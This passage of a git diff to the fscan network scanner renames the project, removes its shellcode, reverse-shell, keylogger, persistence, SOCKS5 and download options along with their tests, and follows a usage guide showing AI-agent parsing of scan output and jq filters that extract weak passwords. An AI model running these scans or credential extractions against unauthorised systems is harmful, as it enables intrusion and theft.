root -pwdf /path/to/passwords.txt -``` - -### Web 目标扫描 - -```bash -fscan -u https://target.com -silent -full -``` - -### 多目标文件批量扫描 - -```bash -fscan -hf targets.txt -silent -o results.json -f json -``` - -### 带调试日志的排障扫描 - -```bash -# NDJSON 到 stdout,debug 日志到文件,互不干扰 -fscan -h 192.168.1.0/24 -silent -debug -# 事后查看:cat fscan_debug.log -``` - -## AI Agent 结果处理 - -### Python 管道消费 - -```python -import json, subprocess - -proc = subprocess.Popen( - ["fscan", "-h", "192.168.1.0/24", "-silent"], - stdout=subprocess.PIPE, text=True -) - -hosts, services, vulns = [], [], [] -for line in proc.stdout: - r = json.loads(line) - if r["type"] == "HOST": - hosts.append(r["host"]) - elif r["type"] == "SERVICE": - services.append(r) - elif r["type"] == "VULN": - vulns.append(r) - -proc.wait() -``` - -### jq 过滤 - -```bash -# 提取所有弱口令 -fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"' - -# 提取所有漏洞 -fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"' - -# 提取 Web 服务 -fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"' - -# 统计开放端口 -fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn -``` - -## 注意事项 - -- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON -- 空字段不出现在 JSON 中(`omitempty`) -- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败 -- `-silent` 和 `-debug` 可同时使用,互不干扰 -- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证 -- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级 -- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率 diff --git a/common/api_test.go b/common/api_test.go index ee4bc61d..42568668 100644 --- a/common/api_test.go +++ b/common/api_test.go @@ -4,8 +4,8 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common/logging" - "github.com/shadow1ng/fscan/common/proxy" + "scanner/common/logging" + "scanner/common/proxy" ) func TestGetLogLevelFromString(t *testing.T) { diff --git a/common/config_builder.go b/common/config_builder.go index 14559c74..89253e86 100644 --- a/common/config_builder.go +++ b/common/config_builder.go @@ -8,9 +8,9 @@ import ( "strconv" "strings" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common/config" + "scanner/common/i18n" + "scanner/common/parsers" ) /* @@ -22,6 +22,8 @@ config_builder.go - 统一配置构建入口 // BuildConfig 从 FlagVars 构建完整的 Config 和 State // 这是新的统一入口,替代原来的 Parse() + BuildConfigFromFlags() + updateGlobalVariables() func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) { + resolveDefaultOutputFile(fv, info) + // 1. 构建基础 Config(从 flag_config.go 的 BuildConfigFromFlags) cfg := BuildConfigFromFlags(fv) diff --git a/common/config_builder_test.go b/common/config_builder_test.go index bdf9af2e..1f78c011 100644 --- a/common/config_builder_test.go +++ b/common/config_builder_test.go @@ -5,7 +5,7 @@ import ( "testing" "time" - fscanconfig "github.com/shadow1ng/fscan/common/config" + scfg "scanner/common/config" ) func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) { @@ -59,29 +59,29 @@ func TestBuildConfigDefaultsAreIndependentCopies(t *testing.T) { t.Fatalf("BuildConfig error = %v", err) } - defaultSSHUsers := fscanconfig.DefaultUserDict["ssh"] + defaultSSHUsers := scfg.DefaultUserDict["ssh"] if len(defaultSSHUsers) == 1 && defaultSSHUsers[0] == "custom-user" { t.Fatal("BuildConfig mutated DefaultUserDict") } cfg.Credentials.Userdict["ssh"][0] = "mutated-user" - if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" { + if scfg.DefaultUserDict["ssh"][0] == "mutated-user" { t.Fatal("Config userdict shares backing storage with DefaultUserDict") } cfg.Credentials.Passwords[0] = "mutated-password" - if fscanconfig.DefaultPasswords[0] == "mutated-password" { + if scfg.DefaultPasswords[0] == "mutated-password" { t.Fatal("Config passwords share backing storage with DefaultPasswords") } port := 80 cfg.PortMap[port][0] = "mutated-probe" - if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" { + if scfg.DefaultPortMap[port][0] == "mutated-probe" { t.Fatal("Config port map shares backing storage with DefaultPortMap") } cfg.DefaultMap[0] = "mutated-default-probe" - if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" { + if scfg.DefaultProbeMap[0] == "mutated-default-probe" { t.Fatal("Config default map shares backing storage with DefaultProbeMap") } } @@ -126,23 +126,23 @@ func TestNewConfigDefaultsAreIndependentCopies(t *testing.T) { cfg := NewConfig() cfg.Credentials.Userdict["ssh"][0] = "mutated-user" - if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" { + if scfg.DefaultUserDict["ssh"][0] == "mutated-user" { t.Fatal("NewConfig userdict shares backing storage with DefaultUserDict") } cfg.Credentials.Passwords[0] = "mutated-password" - if fscanconfig.DefaultPasswords[0] == "mutated-password" { + if scfg.DefaultPasswords[0] == "mutated-password" { t.Fatal("NewConfig passwords share backing storage with DefaultPasswords") } port := 80 cfg.PortMap[port][0] = "mutated-probe" - if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" { + if scfg.DefaultPortMap[port][0] == "mutated-probe" { t.Fatal("NewConfig port map shares backing storage with DefaultPortMap") } cfg.DefaultMap[0] = "mutated-default-probe" - if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" { + if scfg.DefaultProbeMap[0] == "mutated-default-probe" { t.Fatal("NewConfig default map shares backing storage with DefaultProbeMap") } } diff --git a/common/config_struct.go b/common/config_struct.go index f7f0b083..6827630f 100644 --- a/common/config_struct.go +++ b/common/config_struct.go @@ -3,7 +3,7 @@ package common import ( "time" - "github.com/shadow1ng/fscan/common/config" + "scanner/common/config" ) /* @@ -36,38 +36,28 @@ type Config struct { // 扫描模式 Mode string // 扫描模式 - LocalMode bool // 本地模式 - LocalPlugin string // 本地插件名 AliveOnly bool // 仅存活检测 MaxRetries int // 最大重试次数 MaxRetriesExplicit bool // 用户显式指定了 -retry DetectedNetworkEnv int // 探测到的网络环境(来自 core.NetworkEnv) // 高级功能(从AdvancedConfig合并) - Shellcode string // Shellcode - LocalPluginsList []string // 本地插件列表 - DNSLog bool // DNSLog检测 - PersistenceTargetFile string // 持久化目标文件 - WinPEFile string // WinPE文件 - PortMap map[int][]string // 端口映射 - DefaultMap []string // 默认映射 + DNSLog bool // DNSLog检测 + PortMap map[int][]string // 端口映射 + DefaultMap []string // 默认映射 // 分组配置 - 值类型 - Credentials CredentialConfig - Network NetworkConfig - Output OutputConfig - POC POCConfig - Redis RedisConfig - HTTP HTTPConfig - LocalExploit LocalExploitConfig - Target TargetConfig // 扫描目标配置 + Credentials CredentialConfig + Network NetworkConfig + Output OutputConfig + POC POCConfig + Redis RedisConfig + HTTP HTTPConfig + Target TargetConfig // 扫描目标配置 // 全局超时 GlobalTimeout time.Duration GlobalTimeoutExplicit bool - - // SOCKS5代理端口配置 - Socks5ProxyPort int // SOCKS5代理端口 } // TargetConfig 扫描目标配置 @@ -143,15 +133,6 @@ type HTTPConfig struct { Accept string // Accept头 } -// LocalExploitConfig 本地利用相关配置 -type LocalExploitConfig struct { - ReverseShellTarget string // 反弹Shell目标 - ForwardShellPort int // 正向Shell端口 - KeyloggerOutputFile string // 键盘记录输出文件 - DownloadURL string // 下载URL - DownloadSavePath string // 下载保存路径 -} - func cloneStringSlice(values []string) []string { if values == nil { return nil @@ -196,18 +177,17 @@ func (c *Config) ModuleTimeout() time.Duration { func NewConfig() *Config { return &Config{ // 高频字段 - 使用默认常量 - Timeout: time.Duration(DefaultTimeout) * time.Second, - ThreadNum: DefaultThreadNum, - ThreadCeiling: DefaultThreadNum, - ModuleThreadNum: 10, - DisableBrute: false, - DisablePing: false, + Timeout: time.Duration(DefaultTimeout) * time.Second, + ThreadNum: DefaultThreadNum, + ThreadCeiling: DefaultThreadNum, + ModuleThreadNum: 10, + DisableBrute: false, + DisablePing: false, DisableTcpProbe: false, DisableSubnetProbe: false, // 扫描模式 Mode: DefaultScanMode, - LocalMode: false, AliveOnly: false, MaxRetries: 3, @@ -236,8 +216,5 @@ func NewConfig() *Config { POC: POCConfig{ Num: 20, }, - LocalExploit: LocalExploitConfig{ - ForwardShellPort: 4444, - }, } } diff --git a/common/debug/debug.go b/common/debug/debug.go index 97c8878c..b0174b74 100644 --- a/common/debug/debug.go +++ b/common/debug/debug.go @@ -10,7 +10,7 @@ import ( "runtime/pprof" "runtime/trace" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) var ( diff --git a/common/flag.go b/common/flag.go index 85ef4fa9..d953721b 100644 --- a/common/flag.go +++ b/common/flag.go @@ -8,16 +8,13 @@ import ( "strings" "github.com/fatih/color" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/config" + "scanner/common/i18n" ) // ErrShowHelp 表示用户请求显示帮助(正常退出) var ErrShowHelp = errors.New("show help requested") -// IsLocalMode 由 plugins 包注册,判断 -m 指定的是否全是本地插件 -var IsLocalMode func(mode string) bool - // Banner 显示程序横幅信息 func Banner() { // 静默模式下完全跳过Banner显示 @@ -33,10 +30,10 @@ func Banner() { lines := []string{ " ___ _ ", - " / _ \\ ___ ___ _ __ __ _ ___| | __ ", - " / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /", - "/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ", - "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ", + " / _ \\ ___ ___ _ __ __ _ ___| | __", + " / /_\\/ / __|/ __| '__/ _` |/ __| |/ /", + "/ /_\\\\ \\__ \\ (__| | | (_| | (__| < ", + "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ", } // 获取最长行的长度 @@ -72,9 +69,9 @@ func Banner() { fmt.Println(bottomBorder) // 打印版本信息 - versionStr := fmt.Sprintf(" Fscan %s (%s %s)", version, commit, date) + versionStr := fmt.Sprintf(" Scanner %s (%s %s)", version, commit, date) if commit == "unknown" { - versionStr = fmt.Sprintf(" Fscan %s", version) + versionStr = fmt.Sprintf(" Scanner %s", version) } if flagVars.NoColor { fmt.Printf("%s\n\n", versionStr) @@ -114,7 +111,6 @@ func Flag(Info *HostInfo) error { flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping")) flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe")) flag.BoolVar(&fv.DisableSubnetProbe, "nsp", false, i18n.GetText("flag_disable_subnet_probe")) - flag.StringVar(&fv.LocalPlugin, "local", "", i18n.GetText("flag_local_plugin")) flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only")) // ═════════════════════════════════════════════════ @@ -181,7 +177,7 @@ func Flag(Info *HostInfo) error { // ═════════════════════════════════════════════════ // 输出与显示控制参数 // ═════════════════════════════════════════════════ - flag.StringVar(&fv.Outputfile, "o", "result.txt", i18n.GetText("flag_output_file")) + flag.StringVar(&fv.Outputfile, "o", "", i18n.GetText("flag_output_file")) flag.StringVar(&fv.OutputFormat, "f", "txt", i18n.GetText("flag_output_format")) flag.BoolVar(&fv.DisableSave, "no", false, i18n.GetText("flag_disable_save")) flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode")) @@ -194,17 +190,6 @@ func Flag(Info *HostInfo) error { // ═════════════════════════════════════════════════ // 其他参数 // ═════════════════════════════════════════════════ - flag.StringVar(&fv.Shellcode, "sc", "", i18n.GetText("flag_shellcode")) - flag.StringVar(&fv.ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target")) - flag.IntVar(&fv.Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server")) - flag.IntVar(&fv.ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port")) - flag.StringVar(&fv.PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file")) - flag.StringVar(&fv.WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file")) - flag.StringVar(&fv.KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output")) - - // 文件下载插件参数 - flag.StringVar(&fv.DownloadURL, "download-url", "", i18n.GetText("flag_download_url")) - flag.StringVar(&fv.DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path")) flag.StringVar(&fv.Language, "lang", "zh", i18n.GetText("flag_language")) // 帮助参数 @@ -232,6 +217,8 @@ func Flag(Info *HostInfo) error { fv.ICMPRateExplicit = true case "num": fv.PocNumExplicit = true + case "o": + fv.OutputFileExplicit = true } }) @@ -348,24 +335,9 @@ func preProcessLanguage() { // shouldShowHelp 检查是否应该显示帮助信息 func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool { - // Web模式不需要目标参数 - if WebMode { - return false - } - // 检查是否提供了扫描目标 hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != "" - // 本地模式不需要目标主机 - if fv.LocalPlugin != "" { - return false - } - - // -m 指定的全是本地插件时也不需要目标 - if IsLocalMode != nil && IsLocalMode(fv.ScanMode) { - return false - } - // 如果没有提供任何扫描目标,则显示帮助 return !hasTarget } @@ -385,16 +357,5 @@ func checkParameterConflicts() error { LogInfo(i18n.GetText("param_conflict_ao_icmp_both")) } - // 检查本地插件参数 - if fv.LocalPlugin != "" { - // 检查是否包含分隔符(确保只能指定单个插件) - invalidChars := []string{",", ";", " ", "|", "&"} - for _, char := range invalidChars { - if strings.Contains(fv.LocalPlugin, char) { - return fmt.Errorf("%s", i18n.Tr("param_local_multi_plugin", char)) - } - } - } - return nil } diff --git a/common/flag_config.go b/common/flag_config.go index 160e3dfe..15e34f61 100644 --- a/common/flag_config.go +++ b/common/flag_config.go @@ -4,7 +4,7 @@ import ( "os" "time" - "github.com/shadow1ng/fscan/common/config" + "scanner/common/config" "golang.org/x/term" ) @@ -43,7 +43,6 @@ type FlagVars struct { DisablePing bool DisableTcpProbe bool DisableSubnetProbe bool - LocalPlugin string AliveOnly bool DisableBrute bool MaxRetries int @@ -98,27 +97,17 @@ type FlagVars struct { ICMPRateExplicit bool // 输出控制 - Outputfile string - OutputFormat string - DisableSave bool - Silent bool - NoColor bool - LogLevel string - Debug bool - DisableProgress bool - PerfStats bool - Language string - - // 高级功能 - Shellcode string - ReverseShellTarget string - Socks5ProxyPort int - ForwardShellPort int - PersistenceTargetFile string - WinPEFile string - KeyloggerOutputFile string - DownloadURL string - DownloadSavePath string + Outputfile string + OutputFileExplicit bool + OutputFormat string + DisableSave bool + Silent bool + NoColor bool + LogLevel string + Debug bool + DisableProgress bool + PerfStats bool + Language string // 帮助 ShowHelp bool @@ -156,28 +145,19 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { // 扫描模式 Mode: fv.ScanMode, - LocalMode: fv.LocalPlugin != "", - LocalPlugin: fv.LocalPlugin, AliveOnly: fv.AliveOnly, MaxRetries: fv.MaxRetries, MaxRetriesExplicit: fv.MaxRetriesExplicit, // 高级功能 - Shellcode: fv.Shellcode, - LocalPluginsList: nil, // 后续解析 - DNSLog: fv.DNSLog, - PersistenceTargetFile: fv.PersistenceTargetFile, - WinPEFile: fv.WinPEFile, - PortMap: clonePortMap(config.DefaultPortMap), - DefaultMap: cloneStringSlice(config.DefaultProbeMap), + DNSLog: fv.DNSLog, + PortMap: clonePortMap(config.DefaultPortMap), + DefaultMap: cloneStringSlice(config.DefaultProbeMap), // 全局超时 GlobalTimeout: time.Duration(fv.GlobalTimeout) * time.Second, GlobalTimeoutExplicit: fv.GlobalTimeoutExplicit, - // SOCKS5代理端口 - Socks5ProxyPort: fv.Socks5ProxyPort, - // 分组配置 Credentials: CredentialConfig{ Username: fv.Username, @@ -232,13 +212,6 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { UserAgent: defaultUserAgent(fv.UserAgent), Accept: fv.Accept, }, - LocalExploit: LocalExploitConfig{ - ReverseShellTarget: fv.ReverseShellTarget, - ForwardShellPort: fv.ForwardShellPort, - KeyloggerOutputFile: fv.KeyloggerOutputFile, - DownloadURL: fv.DownloadURL, - DownloadSavePath: fv.DownloadSavePath, - }, Target: TargetConfig{ Ports: fv.Ports, ExcludePorts: fv.ExcludePorts, @@ -250,10 +223,10 @@ func isStdoutTerminal() bool { return term.IsTerminal(int(os.Stdout.Fd())) } -// defaultUserAgent 用户未通过 -ua 指定时回退到默认 UA,避免发送空 User-Agent 被 WAF 识别 +// defaultUserAgent 用户未通过 -ua 指定时使用稳定默认值。 func defaultUserAgent(ua string) string { if ua != "" { return ua } - return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + return DefaultHTTPUserAgent } diff --git a/common/flag_test.go b/common/flag_test.go index 3e02dd7e..44f184cf 100644 --- a/common/flag_test.go +++ b/common/flag_test.go @@ -107,20 +107,6 @@ func TestBuildConfigFromFlags_ScanControl(t *testing.T) { } }, }, - { - name: "本地插件模式", - fv: &FlagVars{ - LocalPlugin: "systeminfo", - }, - validate: func(t *testing.T, cfg *Config) { - if !cfg.LocalMode { - t.Error("LocalMode 应该为 true") - } - if cfg.LocalPlugin != "systeminfo" { - t.Errorf("LocalPlugin = %q, want %q", cfg.LocalPlugin, "systeminfo") - } - }, - }, { name: "扫描模式组合", fv: &FlagVars{ @@ -701,121 +687,6 @@ func TestBuildConfigFromFlags_Credentials(t *testing.T) { } } -// ============================================================================= -// BuildConfigFromFlags 测试 - 高级功能参数 -// ============================================================================= - -func TestBuildConfigFromFlags_Advanced(t *testing.T) { - tests := []struct { - name string - fv *FlagVars - validate func(*testing.T, *Config) - }{ - { - name: "Shellcode设置", - fv: &FlagVars{ - Shellcode: "4831c048...", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.Shellcode != "4831c048..." { - t.Errorf("Shellcode = %q, want %q", cfg.Shellcode, "4831c048...") - } - }, - }, - { - name: "反向Shell目标", - fv: &FlagVars{ - ReverseShellTarget: "192.168.1.100:4444", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.LocalExploit.ReverseShellTarget != "192.168.1.100:4444" { - t.Errorf("ReverseShellTarget = %q, want %q", cfg.LocalExploit.ReverseShellTarget, "192.168.1.100:4444") - } - }, - }, - { - name: "SOCKS5代理端口", - fv: &FlagVars{ - Socks5ProxyPort: 1080, - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.Socks5ProxyPort != 1080 { - t.Errorf("Socks5ProxyPort = %d, want %d", cfg.Socks5ProxyPort, 1080) - } - }, - }, - { - name: "正向Shell端口", - fv: &FlagVars{ - ForwardShellPort: 5555, - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.LocalExploit.ForwardShellPort != 5555 { - t.Errorf("ForwardShellPort = %d, want %d", cfg.LocalExploit.ForwardShellPort, 5555) - } - }, - }, - { - name: "持久化目标文件", - fv: &FlagVars{ - PersistenceTargetFile: "/etc/crontab", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.PersistenceTargetFile != "/etc/crontab" { - t.Errorf("PersistenceTargetFile = %q, want %q", cfg.PersistenceTargetFile, "/etc/crontab") - } - }, - }, - { - name: "Windows PE文件", - fv: &FlagVars{ - WinPEFile: "C:\\Windows\\Temp\\payload.exe", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.WinPEFile != "C:\\Windows\\Temp\\payload.exe" { - t.Errorf("WinPEFile = %q, want %q", cfg.WinPEFile, "C:\\Windows\\Temp\\payload.exe") - } - }, - }, - { - name: "键盘记录输出文件", - fv: &FlagVars{ - KeyloggerOutputFile: "keylog.txt", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.LocalExploit.KeyloggerOutputFile != "keylog.txt" { - t.Errorf("KeyloggerOutputFile = %q, want %q", cfg.LocalExploit.KeyloggerOutputFile, "keylog.txt") - } - }, - }, - { - name: "下载URL和路径", - fv: &FlagVars{ - DownloadURL: "http://example.com/file.txt", - DownloadSavePath: "/tmp/downloaded.txt", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.LocalExploit.DownloadURL != "http://example.com/file.txt" { - t.Errorf("DownloadURL = %q, want %q", cfg.LocalExploit.DownloadURL, "http://example.com/file.txt") - } - if cfg.LocalExploit.DownloadSavePath != "/tmp/downloaded.txt" { - t.Errorf("DownloadSavePath = %q, want %q", cfg.LocalExploit.DownloadSavePath, "/tmp/downloaded.txt") - } - }, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - cfg := BuildConfigFromFlags(tt.fv) - if cfg == nil { - t.Fatal("BuildConfigFromFlags 返回 nil") - } - tt.validate(t, cfg) - }) - } -} - // ============================================================================= // BuildConfigFromFlags 测试 - 目标配置参数 // ============================================================================= @@ -1097,41 +968,6 @@ func TestCheckParameterConflicts(t *testing.T) { }, wantError: false, }, - { - name: "本地插件包含逗号", - fv: &FlagVars{ - LocalPlugin: "systeminfo,avdetect", - }, - wantError: true, - }, - { - name: "本地插件包含分号", - fv: &FlagVars{ - LocalPlugin: "systeminfo;avdetect", - }, - wantError: true, - }, - { - name: "本地插件包含空格", - fv: &FlagVars{ - LocalPlugin: "systeminfo avdetect", - }, - wantError: true, - }, - { - name: "本地插件包含管道符", - fv: &FlagVars{ - LocalPlugin: "systeminfo|avdetect", - }, - wantError: true, - }, - { - name: "单个本地插件-正常", - fv: &FlagVars{ - LocalPlugin: "systeminfo", - }, - wantError: false, - }, { name: "AliveOnly和ICMP模式同时指定", fv: &FlagVars{ diff --git a/common/flag_web.go b/common/flag_web.go deleted file mode 100644 index 813910ee..00000000 --- a/common/flag_web.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build web - -package common - -// WebMode Web版本始终为true -const WebMode = true - -// WebPort 不再使用,端口由 main_web.go 的 -port 参数控制 -var WebPort = 0 diff --git a/common/flag_web_stub.go b/common/flag_web_stub.go deleted file mode 100644 index 968664ce..00000000 --- a/common/flag_web_stub.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build !web - -package common - -// WebMode 非Web版本永远为false -var WebMode = false - -// WebPort 非Web版本不使用 -var WebPort = 0 diff --git a/common/globals.go b/common/globals.go index 0ed94e73..f1d2ae20 100644 --- a/common/globals.go +++ b/common/globals.go @@ -7,7 +7,7 @@ import ( "strings" "sync" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) /* @@ -69,7 +69,7 @@ const ( // 版本信息,通过 ldflags 注入 var ( - version = "2.2.0" + version = "2.2.1" commit = "unknown" date = "unknown" ) diff --git a/common/globals_test.go b/common/globals_test.go index 9c506c4f..dabf5fec 100644 --- a/common/globals_test.go +++ b/common/globals_test.go @@ -24,10 +24,10 @@ func TestGlobalHelpersAndPacketLimitErrors(t *testing.T) { if GetVersion() == "" { t.Fatal("GetVersion returned empty string") } - if !ContainsAny("hello fscan", "none", "scan") { + if !ContainsAny("hello scan-test", "none", "scan") { t.Fatal("ContainsAny should find a matching substring") } - if ContainsAny("hello fscan", "none", "missing") { + if ContainsAny("hello test", "none", "missing") { t.Fatal("ContainsAny should return false when nothing matches") } diff --git a/common/http_identity.go b/common/http_identity.go new file mode 100644 index 00000000..63ce98e0 --- /dev/null +++ b/common/http_identity.go @@ -0,0 +1,13 @@ +package common + +// DefaultHTTPUserAgent is used when the operator does not provide -ua. +// Keep it stable so scans are reproducible and HTTP logs remain auditable. +const DefaultHTTPUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + +// HTTPUserAgent returns the configured User-Agent or the stable default. +func HTTPUserAgent(config *Config) string { + if config != nil && config.HTTP.UserAgent != "" { + return config.HTTP.UserAgent + } + return DefaultHTTPUserAgent +} diff --git a/common/http_identity_test.go b/common/http_identity_test.go new file mode 100644 index 00000000..60c03cb1 --- /dev/null +++ b/common/http_identity_test.go @@ -0,0 +1,29 @@ +package common + +import "testing" + +func TestHTTPUserAgent(t *testing.T) { + if got := HTTPUserAgent(nil); got != DefaultHTTPUserAgent { + t.Fatalf("HTTPUserAgent(nil) = %q, want %q", got, DefaultHTTPUserAgent) + } + + config := NewConfig() + config.HTTP.UserAgent = "" + if got := HTTPUserAgent(config); got != DefaultHTTPUserAgent { + t.Fatalf("HTTPUserAgent(empty) = %q, want %q", got, DefaultHTTPUserAgent) + } + + config.HTTP.UserAgent = "Scanner-Test/1.0" + if got := HTTPUserAgent(config); got != "Scanner-Test/1.0" { + t.Fatalf("HTTPUserAgent(custom) = %q", got) + } +} + +func TestDefaultUserAgentIsStable(t *testing.T) { + first := defaultUserAgent("") + for i := 0; i < 100; i++ { + if got := defaultUserAgent(""); got != first { + t.Fatalf("default User-Agent changed between calls: %q != %q", got, first) + } + } +} diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index 7e7d2acb..7ac4dadb 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -1,4 +1,4 @@ -# fscan English translation file +# Scanner English translation file # Contains only actually used messages (115) # ========================= Command Line Arguments (71) ========================= @@ -36,10 +36,8 @@ flag_disable_tcp_probe: other: "Disable TCP supplementary probe" flag_disable_subnet_probe: other: "Disable subnet pre-filter (optimization that skips empty /24 subnets in large scans)" -flag_local_plugin: - other: "Specify local plugin name (e.g.: cleaner, systeminfo, keylogger)" flag_debug: - other: "Enable debug mode, write logs to fscan_debug.log" + other: "Enable debug mode, write logs to debug.log" flag_alive_only: other: "Alive detection only" flag_username: @@ -117,7 +115,7 @@ flag_max_packet_count: flag_icmp_rate: other: "ICMP packet rate (ratio to max rate, default 0.1, ~1463 pps)" flag_output_file: - other: "Output file" + other: "Output file (defaults to the first target)" flag_output_format: other: "Output format: txt, json, csv" flag_disable_save: @@ -132,39 +130,15 @@ flag_disable_progress: other: "Disable progress bar" flag_perf_stats: other: "Output performance stats in JSON" -flag_shellcode: - other: "Shellcode" -flag_reverse_shell_target: - other: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)" -flag_start_socks5_server: - other: "Start SOCKS5 proxy server on port (e.g.: 1080)" -flag_forward_shell_port: - other: "Start forward shell server on port (e.g.: 4444)" -flag_persistence_file: - other: "Linux persistence target file path (supports .elf/.sh files)" -flag_win_pe_file: - other: "Windows persistence target PE file path (supports .exe/.dll files)" -flag_keylogger_output: - other: "Keylogger output file path" -flag_download_url: - other: "URL of the file to download" -flag_download_path: - other: "Save path for downloaded file" flag_language: other: "Language: zh, en" flag_help: other: "Show help information" -flag_web_mode: - other: "Start Web management UI" -flag_web_port: - other: "Web server port" # ========================= Scan Mode Messages ========================= scan_mode_service_selected: other: "Service scan mode selected" scan_mode_alive_selected: other: "Alive detection mode selected" -scan_mode_local_selected: - other: "Local scan mode selected" scan_mode_web_selected: other: "Web scan mode selected" scan_info_start: @@ -215,8 +189,6 @@ progress_duration: other: "duration" concurrency_plugin: other: "Plugins" -concurrency_local_plugin: - other: "Local Plugins" concurrency_service_plugin: other: "Service Plugins" concurrency_web_plugin: @@ -277,8 +249,6 @@ target_local_mode: other: "Local scan mode" param_conflict_ao_icmp_both: other: "Note: Both -ao and -m icmp specified, both enable alive detection mode" -param_local_multi_plugin: - other: "Only a single local plugin can be specified, multiple plugins separated by '{{.Arg1}}' are not supported" param_join_and: other: "{{.Arg1}} and {{.Arg2}}" @@ -383,14 +353,6 @@ alive_host_item: # ========================= Scanner Messages ========================= http_client_init_failed: other: "HTTP client initialization failed: {{.Arg1}}" -active_reverse_shell: - other: "Active reverse shell detected, keeping program running..." -active_socks5_proxy: - other: "Active SOCKS5 proxy detected, keeping program running..." -active_forward_shell: - other: "Active forward shell detected, keeping program running..." -press_ctrl_c_exit: - other: "Press Ctrl+C to exit" received_exit_signal: other: "Received exit signal, shutting down..." scan_task_complete: @@ -473,14 +435,6 @@ subnet_prefilter_done: other: "Subnet prefilter complete: {{.Arg1}} alive (gateway hits {{.Arg2}}), {{.Arg3}} skipped, {{.Arg4}} hosts remaining" # ========================= Local Scan Messages ========================= -local_plugin_info: - other: "Local plugin: {{.Arg1}}" -local_plugin_not_specified: - other: "Local plugin: Not specified" -local_plugin_not_found: - other: "Error: Local plugin '{{.Arg1}}' does not exist or is not available on current platform" - -# ========================= Service Scan Messages ========================= service_plugin_info: other: "Service plugins: {{.Arg1}}" service_plugin_custom: @@ -519,8 +473,6 @@ plugins_info: other: "{{.Arg1}}: {{.Arg2}}" plugins_none: other: "{{.Arg1}}: None available" -start_local_scan: - other: "Starting local scan" start_service_scan: other: "Starting service scan" start_web_scan: @@ -676,8 +628,6 @@ ms17010_start: other: "MS17-010 exploitation started: {{.Arg1}}" ms17010_complete: other: "MS17-010 exploitation completed: {{.Arg1}}" -ms17010_shellcode_complete: - other: "{{.Arg1}} MS17-010 exploitation completed (Shellcode length: {{.Arg2}})" ms17010_protocol_decrypt_error: other: "Protocol request decryption error: {{.Arg1}}" ms17010_protocol_decode_error: @@ -700,42 +650,6 @@ ms17010_vuln_banner: other: "MS17-010 vulnerability ({{.Arg1}})" ms17010_not_vulnerable: other: "Target is not vulnerable to MS17-010" -ms17010_exploit_header: - other: "=== MS17-010 exploitation result - {{.Arg1}} ===" -ms17010_exploit_check_failed: - other: "[Vulnerability check failed] {{.Arg1}}" -ms17010_exploit_not_vulnerable: - other: "[Vulnerability status] Target is not vulnerable to MS17-010" -ms17010_exploit_confirmed: - other: "[Vulnerability confirmed] MS17-010 vulnerability exists" -ms17010_exploit_os: - other: "[Operating system] {{.Arg1}}" -ms17010_exploit_backdoor_found: - other: 